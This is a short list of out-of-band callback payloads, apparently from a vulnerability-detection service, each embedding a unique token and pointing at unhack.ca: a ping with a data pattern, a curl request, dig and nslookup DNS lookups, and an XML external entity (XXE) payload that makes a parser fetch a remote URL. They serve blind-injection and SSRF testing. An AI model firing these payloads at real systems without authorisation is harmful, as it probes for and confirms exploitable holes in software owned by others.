$ ping -c1 -p 007d0354f6535493d285aab8c011e700 unhack.ca
 

$ curl http://unhack.ca/p/7d0354f6535493d285aab8c011e7
 

$ dig 7d0354f6535493d285aab8c011e7 @unhack.ca
 

$ dig 7d0354f6535493d285aab8c011e7.ns.unhack.ca
 

C:\> nslookup 7d0354f6535493d285aab8c011e7 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7d0354f6535493d285aab8c011e7">]>
    <foo>&xxe;</foo>